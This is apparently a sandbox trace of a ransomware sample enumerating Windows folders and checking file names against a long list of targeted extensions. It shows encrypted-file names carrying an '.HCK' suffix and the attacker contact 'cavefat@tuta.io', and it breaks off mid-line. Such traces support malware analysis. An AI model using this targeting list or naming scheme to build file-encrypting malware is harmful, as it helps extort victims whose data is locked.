[0224.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.167] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0224.167] FindClose (in: hFindFile=0x573628 | out: hFindFile=0x573628) returned 1 [0224.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.167] FindNextFileW (in: hFindFile=0x5732a8, lpFindFileData=0x371fcf8 | out: lpFindFileData=0x371fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77000000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0224.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4050730 [0224.167] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x573768 [0224.167] FindNextFileW (in: hFindFile=0x573768, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0224.167] FindNextFileW (in: hFindFile=0x573768, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0224.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.167] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x16, ftLastAccessTime.dwLowDateTime=0x2, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="눘W\x08")) returned 0xffffffff [0224.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.168] FindNextFileW (in: hFindFile=0x573768, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9591c98, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xc9591c98, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0224.168] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.168] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9591c98, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xc9591c98, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5732e8 [0224.168] FindNextFileW (in: hFindFile=0x5732e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9591c98, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xc9591c98, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.168] FindNextFileW (in: hFindFile=0x5732e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc9591c98, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xc9591c98, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xc9591c98, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0224.168] FindNextFileW (in: hFindFile=0x5732e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa2a49fc3, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2a49fc3, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2a49fc3, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="DESKTO~1.HCK")) returned 1 [0224.168] lstrlenW (lpString="desktop.ini.id-B4197730.[cavefat@tuta.io].HCK") returned 45 [0224.168] lstrlenW (lpString=".1cd") returned 4 [0224.168] lstrcmpiW (lpString1=".1cd", lpString2=".HCK") returned -1 [0224.168] lstrlenW (lpString=".3ds") returned 4 [0224.168] lstrcmpiW (lpString1=".3ds", lpString2=".HCK") returned -1 [0224.168] lstrlenW (lpString=".3fr") returned 4 [0224.168] lstrcmpiW (lpString1=".3fr", lpString2=".HCK") returned -1 [0224.168] lstrlenW (lpString=".3g2") returned 4 [0224.168] lstrcmpiW (lpString1=".3g2", lpString2=".HCK") returned -1 [0224.168] lstrlenW (lpString=".3gp") returned 4 [0224.168] lstrcmpiW (lpString1=".3gp", lpString2=".HCK") returned -1 [0224.168] lstrlenW (lpString=".7z") returned 3 [0224.168] lstrcmpiW (lpString1=".7z", lpString2="HCK") returned -1 [0224.168] lstrlenW (lpString=".accda") returned 6 [0224.169] lstrcmpiW (lpString1=".accda", lpString2="o].HCK") returned -1 [0224.169] lstrlenW (lpString=".accdb") returned 6 [0224.169] lstrcmpiW (lpString1=".accdb", lpString2="o].HCK") returned -1 [0224.169] lstrlenW (lpString=".accdc") returned 6 [0224.169] lstrcmpiW (lpString1=".accdc", lpString2="o].HCK") returned -1 [0224.169] lstrlenW (lpString=".accde") returned 6 [0224.169] lstrcmpiW (lpString1=".accde", lpString2="o].HCK") returned -1 [0224.169] lstrlenW (lpString=".accdt") returned 6 [0224.169] lstrcmpiW (lpString1=".accdt", lpString2="o].HCK") returned -1 [0224.169] lstrlenW (lpString=".accdw") returned 6 [0224.169] lstrcmpiW (lpString1=".accdw", lpString2="o].HCK") returned -1 [0224.169] lstrlenW (lpString=".adb") returned 4 [0224.169] lstrcmpiW (lpString1=".adb", lpString2=".HCK") returned -1 [0224.169] lstrlenW (lpString=".adp") returned 4 [0224.169] lstrcmpiW (lpString1=".adp", lpString2=".HCK") returned -1 [0224.169] lstrlenW (lpString=".ai") returned 3 [0224.169] lstrcmpiW (lpString1=".ai", lpString2="HCK") returned -1 [0224.169] lstrlenW (lpString=".ai3") returned 4 [0224.169] lstrcmpiW (lpString1=".ai3", lpString2=".HCK") returned -1 [0224.169] lstrlenW (lpString=".ai4") returned 4 [0224.169] lstrcmpiW (lpString1=".ai4", lpString2=".HCK") returned -1 [0224.169] lstrlenW (lpString=".ai5") returned 4 [0224.169] lstrcmpiW (lpString1=".ai5", lpString2=".HCK") returned -1 [0224.169] lstrlenW (lpString=".ai6") returned 4 [0224.169] lstrcmpiW (lpString1=".ai6", lpString2=".HCK") returned -1 [0224.169] lstrlenW (lpString=".ai7") returned 4 [0224.169] lstrcmpiW (lpString1=".ai7", lpString2=".HCK") returned -1 [0224.169] lstrlenW (lpString=".ai8") returned 4 [0224.169] lstrcmpiW (lpString1=".ai8", lpString2=".HCK") returned -1 [0224.169] lstrlenW (lpString=".anim") returned 5 [0224.169] lstrcmpiW (lpString1=".anim", lpString2="].HCK") returned -1 [0224.169] lstrlenW (lpString=".arw") returned 4 [0224.169] lstrcmpiW (lpString1=".arw", lpString2=".HCK") returned -1 [0224.169] lstrlenW (lpString=".as") returned 3 [0224.169] lstrcmpiW (lpString1=".as", lpString2="HCK") returned -1 [0224.169] lstrlenW (lpString=".asa") returned 4 [0224.169] lstrcmpiW (lpString1=".asa", lpString2=".HCK") returned -1 [0224.169] lstrlenW (lpString=".asc") returned 4 [0224.169] lstrcmpiW (lpString1=".asc", lpString2=".HCK") returned -1 [0224.169] lstrlenW (lpString=".ascx") returned 5 [0224.169] lstrcmpiW (lpString1=".ascx", lpString2="].HCK") returned -1 [0224.169] lstrlenW (lpString=".asm") returned 4 [0224.169] lstrcmpiW (lpString1=".asm", lpString2=".HCK") returned -1 [0224.169] lstrlenW (lpString=".asmx") returned 5 [0224.169] lstrcmpiW (lpString1=".asmx", lpString2="].HCK") returned -1 [0224.169] lstrlenW (lpString=".asp") returned 4 [0224.169] lstrcmpiW (lpString1=".asp", lpString2=".HCK") returned -1 [0224.169] lstrlenW (lpString=".aspx") returned 5 [0224.169] lstrcmpiW (lpString1=".aspx", lpString2="].HCK") returned -1 [0224.169] lstrlenW (lpString=".asr") returned 4 [0224.169] lstrcmpiW (lpString1=".asr", lpString2=".HCK") returned -1 [0224.169] lstrlenW (lpString=".asx") returned 4 [0224.169] lstrcmpiW (lpString1=".asx", lpString2=".HCK") returned -1 [0224.169] lstrlenW (lpString=".avi") returned 4 [0224.169] lstrcmpiW (lpString1=".avi", lpString2=".HCK") returned -1 [0224.170] lstrlenW (lpString=".avs") returned 4 [0224.170] lstrcmpiW (lpString1=".avs", lpString2=".HCK") returned -1 [0224.170] lstrlenW (lpString=".backup") returned 7 [0224.170] lstrcmpiW (lpString1=".backup", lpString2="io].HCK") returned -1 [0224.170] lstrlenW (lpString=".bak") returned 4 [0224.170] lstrcmpiW (lpString1=".bak", lpString2=".HCK") returned -1 [0224.170] lstrlenW (lpString=".bay") returned 4 [0224.170] lstrcmpiW (lpString1=".bay", lpString2=".HCK") returned -1 [0224.170] lstrlenW (lpString=".bd") returned 3 [0224.170] lstrcmpiW (lpString1=".bd", lpString2="HCK") returned -1 [0224.170] lstrlenW (lpString=".bin") returned 4 [0224.170] lstrcmpiW (lpString1=".bin", lpString2=".HCK") returned -1 [0224.170] lstrlenW (lpString=".bmp") returned 4 [0224.170] lstrcmpiW (lpString1=".bmp", lpString2=".HCK") returned -1 [0224.170] lstrlenW (lpString=".bz2") returned 4 [0224.170] lstrcmpiW (lpString1=".bz2", lpString2=".HCK") returned -1 [0224.170] lstrlenW (lpString=".c") returned 2 [0224.170] lstrcmpiW (lpString1=".c", lpString2="CK") returned -1 [0224.170] lstrlenW (lpString=".cdr") returned 4 [0224.170] lstrcmpiW (lpString1=".cdr", lpString2=".HCK") returned -1 [0224.170] lstrlenW (lpString=".cer") returned 4 [0224.170] lstrcmpiW (lpString1=".cer", lpString2=".HCK") returned -1 [0224.170] lstrlenW (lpString=".cf") returned 3 [0224.170] lstrcmpiW (lpString1=".cf", lpString2="HCK") returned -1 [0224.170] lstrlenW (lpString=".cfc") returned 4 [0224.170] lstrcmpiW (lpString1=".cfc", lpString2=".HCK") returned -1 [0224.170] lstrlenW (lpString=".cfm") returned 4 [0224.170] lstrcmpiW (lpString1=".cfm", lpString2=".HCK") returned -1 [0224.170] lstrlenW (lpString=".cfml") returned 5 [0224.170] lstrcmpiW (lpString1=".cfml", lpString2="].HCK") returned -1 [0224.170] lstrlenW (lpString=".cfu") returned 4 [0224.170] lstrcmpiW (lpString1=".cfu", lpString2=".HCK") returned -1 [0224.170] lstrlenW (lpString=".chm") returned 4 [0224.170] lstrcmpiW (lpString1=".chm", lpString2=".HCK") returned -1 [0224.170] lstrlenW (lpString=".cin") returned 4 [0224.170] lstrcmpiW (lpString1=".cin", lpString2=".HCK") returned -1 [0224.170] lstrlenW (lpString=".class") returned 6 [0224.170] lstrcmpiW (lpString1=".class", lpString2="o].HCK") returned -1 [0224.170] lstrlenW (lpString=".clx") returned 4 [0224.170] lstrcmpiW (lpString1=".clx", lpString2=".HCK") returned -1 [0224.170] lstrlenW (lpString=".config") returned 7 [0224.170] lstrcmpiW (lpString1=".config", lpString2="io].HCK") returned -1 [0224.170] lstrlenW (lpString=".cpp") returned 4 [0224.170] lstrcmpiW (lpString1=".cpp", lpString2=".HCK") returned -1 [0224.170] lstrlenW (lpString=".cr2") returned 4 [0224.170] lstrcmpiW (lpString1=".cr2", lpString2=".HCK") returned -1 [0224.170] lstrlenW (lpString=".crt") returned 4 [0224.170] lstrcmpiW (lpString1=".crt", lpString2=".HCK") returned -1 [0224.170] lstrlenW (lpString=".crw") returned 4 [0224.170] lstrcmpiW (lpString1=".crw", lpString2=".HCK") returned -1 [0224.170] lstrlenW (lpString=".cs") returned 3 [0224.170] lstrcmpiW (lpString1=".cs", lpString2="HCK") returned -1 [0224.170] lstrlenW (lpString=".css") returned 4 [0224.170] lstrcmpiW (lpString1=".css", lpString2=".HCK") returned -1 [0224.170] lstrlenW (lpString=".csv") returned 4 [0224.170] lstrcmpiW (lpString1=".csv", lpString2=".HCK") returned -1 [0224.171] lstrlenW (lpString=".cub") returned 4 [0224.171] lstrcmpiW (lpString1=".cub", lpString2=".HCK") returned -1 [0224.171] lstrlenW (lpString=".dae") returned 4 [0224.171] lstrcmpiW (lpString1=".dae", lpString2=".HCK") returned -1 [0224.171] lstrlenW (lpString=".dat") returned 4 [0224.171] lstrcmpiW (lpString1=".dat", lpString2=".HCK") returned -1 [0224.171] lstrlenW (lpString=".db") returned 3 [0224.171] lstrcmpiW (lpString1=".db", lpString2="HCK") returned -1 [0224.171] lstrlenW (lpString=".dbf") returned 4 [0224.171] lstrcmpiW (lpString1=".dbf", lpString2=".HCK") returned -1 [0224.171] lstrlenW (lpString=".dbx") returned 4 [0224.171] lstrcmpiW (lpString1=".dbx", lpString2=".HCK") returned -1 [0224.171] lstrlenW (lpString=".dc3") returned 4 [0224.171] lstrcmpiW (lpString1=".dc3", lpString2=".HCK") returned -1 [0224.171] lstrlenW (lpString=".dcm") returned 4 [0224.171] lstrcmpiW (lpString1=".dcm", lpString2=".HCK") returned -1 [0224.171] lstrlenW (lpString=".dcr") returned 4 [0224.171] lstrcmpiW (lpString1=".dcr", lpString2=".HCK") returned -1 [0224.171] lstrlenW (lpString=".der") returned 4 [0224.171] lstrcmpiW (lpString1=".der", lpString2=".HCK") returned -1 [0224.171] lstrlenW (lpString=".dib") returned 4 [0224.171] lstrcmpiW (lpString1=".dib", lpString2=".HCK") returned -1 [0224.171] lstrlenW (lpString=".dic") returned 4 [0224.171] lstrcmpiW (lpString1=".dic", lpString2=".HCK") returned -1 [0224.171] lstrlenW (lpString=".dif") returned 4 [0224.171] lstrcmpiW (lpString1=".dif", lpString2=".HCK") returned -1 [0224.171] lstrlenW (lpString=".divx") returned 5 [0224.171] lstrcmpiW (lpString1=".divx", lpString2="].HCK") returned -1 [0224.171] lstrlenW (lpString=".djvu") returned 5 [0224.171] lstrcmpiW (lpString1=".djvu", lpString2="].HCK") returned -1 [0224.171] lstrlenW (lpString=".dng") returned 4 [0224.171] lstrcmpiW (lpString1=".dng", lpString2=".HCK") returned -1 [0224.171] lstrlenW (lpString=".doc") returned 4 [0224.171] lstrcmpiW (lpString1=".doc", lpString2=".HCK") returned -1 [0224.171] lstrlenW (lpString=".docm") returned 5 [0224.171] lstrcmpiW (lpString1=".docm", lpString2="].HCK") returned -1 [0224.171] lstrlenW (lpString=".docx") returned 5 [0224.171] lstrcmpiW (lpString1=".docx", lpString2="].HCK") returned -1 [0224.171] lstrlenW (lpString=".dot") returned 4 [0224.171] lstrcmpiW (lpString1=".dot", lpString2=".HCK") returned -1 [0224.171] lstrlenW (lpString=".dotm") returned 5 [0224.171] lstrcmpiW (lpString1=".dotm", lpString2="].HCK") returned -1 [0224.171] lstrlenW (lpString=".dotx") returned 5 [0224.171] lstrcmpiW (lpString1=".dotx", lpString2="].HCK") returned -1 [0224.171] lstrlenW (lpString=".dpx") returned 4 [0224.171] lstrcmpiW (lpString1=".dpx", lpString2=".HCK") returned -1 [0224.171] lstrlenW (lpString=".dqy") returned 4 [0224.171] lstrcmpiW (lpString1=".dqy", lpString2=".HCK") returned -1 [0224.171] lstrlenW (lpString=".dsn") returned 4 [0224.171] lstrcmpiW (lpString1=".dsn", lpString2=".HCK") returned -1 [0224.171] lstrlenW (lpString=".dt") returned 3 [0224.171] lstrcmpiW (lpString1=".dt", lpString2="HCK") returned -1 [0224.171] lstrlenW (lpString=".dtd") returned 4 [0224.171] lstrcmpiW (lpString1=".dtd", lpString2=".HCK") returned -1 [0224.172] lstrlenW (lpString=".dwg") returned 4 [0224.172] lstrcmpiW (lpString1=".dwg", lpString2=".HCK") returned -1 [0224.172] lstrlenW (lpString=".dwt") returned 4 [0224.172] lstrcmpiW (lpString1=".dwt", lpString2=".HCK") returned -1 [0224.172] lstrlenW (lpString=".dx") returned 3 [0224.172] lstrcmpiW (lpString1=".dx", lpString2="HCK") returned -1 [0224.172] lstrlenW (lpString=".dxf") returned 4 [0224.172] lstrcmpiW (lpString1=".dxf", lpString2=".HCK") returned -1 [0224.172] lstrlenW (lpString=".edml") returned 5 [0224.172] lstrcmpiW (lpString1=".edml", lpString2="].HCK") returned -1 [0224.172] lstrlenW (lpString=".efd") returned 4 [0224.172] lstrcmpiW (lpString1=".efd", lpString2=".HCK") returned -1 [0224.172] lstrlenW (lpString=".elf") returned 4 [0224.172] lstrcmpiW (lpString1=".elf", lpString2=".HCK") returned -1 [0224.172] lstrlenW (lpString=".emf") returned 4 [0224.172] lstrcmpiW (lpString1=".emf", lpString2=".HCK") returned -1 [0224.172] lstrlenW (lpString=".emz") returned 4 [0224.172] lstrcmpiW (lpString1=".emz", lpString2=".HCK") returned -1 [0224.172] lstrlenW (lpString=".epf") returned 4 [0224.172] lstrcmpiW (lpString1=".epf", lpString2=".HCK") returned -1 [0224.172] lstrlenW (lpString=".eps") returned 4 [0224.172] lstrcmpiW (lpString1=".eps", lpString2=".HCK") returned -1 [0224.172] lstrlenW (lpString=".epsf") returned 5 [0224.172] lstrcmpiW (lpString1=".epsf", lpString2="].HCK") returned -1 [0224.172] lstrlenW (lpString=".epsp") returned 5 [0224.172] lstrcmpiW (lpString1=".epsp", lpString2="].HCK") returned -1 [0224.172] lstrlenW (lpString=".erf") returned 4 [0224.172] lstrcmpiW (lpString1=".erf", lpString2=".HCK") returned -1 [0224.172] lstrlenW (lpString=".exr") returned 4 [0224.172] lstrcmpiW (lpString1=".exr", lpString2=".HCK") returned -1 [0224.172] lstrlenW (lpString=".f4v") returned 4 [0224.172] lstrcmpiW (lpString1=".f4v", lpString2=".HCK") returned -1 [0224.172] lstrlenW (lpString=".fido") returned 5 [0224.172] lstrcmpiW (lpString1=".fido", lpString2="].HCK") returned -1 [0224.172] lstrlenW (lpString=".flm") returned 4 [0224.172] lstrcmpiW (lpString1=".flm", lpString2=".HCK") returned -1 [0224.172] lstrlenW (lpString=".flv") returned 4 [0224.172] lstrcmpiW (lpString1=".flv", lpString2=".HCK") returned -1 [0224.172] lstrlenW (lpString=".frm") returned 4 [0224.172] lstrcmpiW (lpString1=".frm", lpString2=".HCK") returned -1 [0224.172] lstrlenW (lpString=".fxg") returned 4 [0224.172] lstrcmpiW (lpString1=".fxg", lpString2=".HCK") returned -1 [0224.172] lstrlenW (lpString=".geo") returned 4 [0224.172] lstrcmpiW (lpString1=".geo", lpString2=".HCK") returned -1 [0224.172] lstrlenW (lpString=".gif") returned 4 [0224.172] lstrcmpiW (lpString1=".gif", lpString2=".HCK") returned -1 [0224.172] lstrlenW (lpString=".grs") returned 4 [0224.172] lstrcmpiW (lpString1=".grs", lpString2=".HCK") returned -1 [0224.172] lstrlenW (lpString=".gz") returned 3 [0224.172] lstrcmpiW (lpString1=".gz", lpString2="HCK") returned -1 [0224.172] lstrlenW (lpString=".h") returned 2 [0224.172] lstrcmpiW (lpString1=".h", lpString2="CK") returned -1 [0224.172] lstrlenW (lpString=".hdr") returned 4 [0224.172] lstrcmpiW (lpString1=".hdr", lpString2=".HCK") returned 1 [0224.172] lstrlenW (lpString=".hpp") returned 4 [0224.172] lstrcmpiW (lpString1=".hpp", lpString2=".HCK") returned 1 [0224.173] lstrlenW (lpString=".hta") returned 4 [0224.173] lstrcmpiW (lpString1=".hta", lpString2=".HCK") returned 1 [0224.173] lstrlenW (lpString=".htc") returned 4 [0224.173] lstrcmpiW (lpString1=".htc", lpString2=".HCK") returned 1 [0224.173] lstrlenW (lpString=".htm") returned 4 [0224.173] lstrcmpiW (lpString1=".htm", lpString2=".HCK") returned 1 [0224.173] lstrlenW (lpString=".html") returned 5 [0224.173] lstrcmpiW (lpString1=".html", lpString2="].HCK") returned -1 [0224.173] lstrlenW (lpString=".icb") returned 4 [0224.173] lstrcmpiW (lpString1=".icb", lpString2=".HCK") returned 1 [0224.173] lstrlenW (lpString=".ics") returned 4 [0224.173] lstrcmpiW (lpString1=".ics", lpString2=".HCK") returned 1 [0224.173] lstrlenW (lpString=".iff") returned 4 [0224.173] lstrcmpiW (lpString1=".iff", lpString2=".HCK") returned 1 [0224.173] lstrlenW (lpString=".inc") returned 4 [0224.173] lstrcmpiW (lpString1=".inc", lpString2=".HCK") returned 1 [0224.173] lstrlenW (lpString=".indd") returned 5 [0224.173] lstrcmpiW (lpString1=".indd", lpString2="].HCK") returned -1 [0224.173] lstrlenW (lpString=".ini") returned 4 [0224.173] lstrcmpiW (lpString1=".ini", lpString2=".HCK") returned 1 [0224.173] lstrlenW (lpString=".iqy") returned 4 [0224.173] lstrcmpiW (lpString1=".iqy", lpString2=".HCK") returned 1 [0224.173] lstrlenW (lpString=".j2c") returned 4 [0224.173] lstrcmpiW (lpString1=".j2c", lpString2=".HCK") returned 1 [0224.173] lstrlenW (lpString=".j2k") returned 4 [0224.173] lstrcmpiW (lpString1=".j2k", lpString2=".HCK") returned 1 [0224.173] lstrlenW (lpString=".java") returned 5 [0224.173] lstrcmpiW (lpString1=".java", lpString2="].HCK") returned -1 [0224.173] lstrlenW (lpString=".jp2") returned 4 [0224.173] lstrcmpiW (lpString1=".jp2", lpString2=".HCK") returned 1 [0224.173] lstrlenW (lpString=".jpc") returned 4 [0224.173] lstrcmpiW (lpString1=".jpc", lpString2=".HCK") returned 1 [0224.173] lstrlenW (lpString=".jpe") returned 4 [0224.173] lstrcmpiW (lpString1=".jpe", lpString2=".HCK") returned 1 [0224.173] lstrlenW (lpString=".jpeg") returned 5 [0224.173] lstrcmpiW (lpString1=".jpeg", lpString2="].HCK") returned -1 [0224.173] lstrlenW (lpString=".jpf") returned 4 [0224.173] lstrcmpiW (lpString1=".jpf", lpString2=".HCK") returned 1 [0224.173] lstrlenW (lpString=".jpg") returned 4 [0224.173] lstrcmpiW (lpString1=".jpg", lpString2=".HCK") returned 1 [0224.173] lstrlenW (lpString=".jpx") returned 4 [0224.173] lstrcmpiW (lpString1=".jpx", lpString2=".HCK") returned 1 [0224.173] lstrlenW (lpString=".js") returned 3 [0224.173] lstrcmpiW (lpString1=".js", lpString2="HCK") returned -1 [0224.173] lstrlenW (lpString=".jsf") returned 4 [0224.173] lstrcmpiW (lpString1=".jsf", lpString2=".HCK") returned 1 [0224.173] lstrlenW (lpString=".json") returned 5 [0224.173] lstrcmpiW (lpString1=".json", lpString2="].HCK") returned -1 [0224.173] lstrlenW (lpString=".jsp") returned 4 [0224.173] lstrcmpiW (lpString1=".jsp", lpString2=".HCK") returned 1 [0224.173] lstrlenW (lpString=".kdc") returned 4 [0224.173] lstrcmpiW (lpString1=".kdc", lpString2=".HCK") returned 1 [0224.173] lstrlenW (lpString=".kmz") returned 4 [0224.173] lstrcmpiW (lpString1=".kmz", lpString2=".HCK") returned 1 [0224.173] lstrlenW (lpString=".kwm") returned 4 [0224.173] lstrcmpiW (lpString1=".kwm", lpString2=".HCK") returned 1 [0224.174] lstrlenW (lpString=".lasso") returned 6 [0224.174] lstrcmpiW (lpString1=".lasso", lpString2="o].HCK") returned -1 [0224.174] lstrlenW (lpString=".lbi") returned 4 [0224.174] lstrcmpiW (lpString1=".lbi", lpString2=".HCK") returned 1 [0224.174] lstrlenW (lpString=".lgf") returned 4 [0224.174] lstrcmpiW (lpString1=".lgf", lpString2=".HCK") returned 1 [0224.174] lstrlenW (lpString=".lgp") returned 4 [0224.174] lstrcmpiW (lpString1=".lgp", lpString2=".HCK") returned 1 [0224.174] lstrlenW (lpString=".log") returned 4 [0224.174] lstrcmpiW (lpString1=".log", lpString2=".HCK") returned 1 [0224.174] lstrlenW (lpString=".m1v") returned 4 [0224.174] lstrcmpiW (lpString1=".m1v", lpString2=".HCK") returned 1 [0224.174] lstrlenW (lpString=".m4a") returned 4 [0224.174] lstrcmpiW (lpString1=".m4a", lpString2=".HCK") returned 1 [0224.174] lstrlenW (lpString=".m4v") returned 4 [0224.174] lstrcmpiW (lpString1=".m4v", lpString2=".HCK") returned 1 [0224.174] lstrlenW (lpString=".max") returned 4 [0224.174] lstrcmpiW (lpString1=".max", lpString2=".HCK") returned 1 [0224.174] lstrlenW (lpString=".md") returned 3 [0224.174] lstrcmpiW (lpString1=".md", lpString2="HCK") returned -1 [0224.174] lstrlenW (lpString=".mda") returned 4 [0224.174] lstrcmpiW (lpString1=".mda", lpString2=".HCK") returned 1 [0224.174] lstrlenW (lpString=".mdb") returned 4 [0224.174] lstrcmpiW (lpString1=".mdb", lpString2=".HCK") returned 1 [0224.174] lstrlenW (lpString=".mde") returned 4 [0224.174] lstrcmpiW (lpString1=".mde", lpString2=".HCK") returned 1 [0224.174] lstrlenW (lpString=".mdf") returned 4 [0224.174] lstrcmpiW (lpString1=".mdf", lpString2=".HCK") returned 1 [0224.174] lstrlenW (lpString=".mdw") returned 4 [0224.174] lstrcmpiW (lpString1=".mdw", lpString2=".HCK") returned 1 [0224.174] lstrlenW (lpString=".mef") returned 4 [0224.174] lstrcmpiW (lpString1=".mef", lpString2=".HCK") returned 1 [0224.174] lstrlenW (lpString=".mft") returned 4 [0224.174] lstrcmpiW (lpString1=".mft", lpString2=".HCK") returned 1 [0224.174] lstrlenW (lpString=".mfw") returned 4 [0224.174] lstrcmpiW (lpString1=".mfw", lpString2=".HCK") returned 1 [0224.174] lstrlenW (lpString=".mht") returned 4 [0224.174] lstrcmpiW (lpString1=".mht", lpString2=".HCK") returned 1 [0224.174] lstrlenW (lpString=".mhtml") returned 6 [0224.174] lstrcmpiW (lpString1=".mhtml", lpString2="o].HCK") returned -1 [0224.174] lstrlenW (lpString=".mka") returned 4 [0224.174] lstrcmpiW (lpString1=".mka", lpString2=".HCK") returned 1 [0224.174] lstrlenW (lpString=".mkidx") returned 6 [0224.174] lstrcmpiW (lpString1=".mkidx", lpString2="o].HCK") returned -1 [0224.174] lstrlenW (lpString=".mkv") returned 4 [0224.174] lstrcmpiW (lpString1=".mkv", 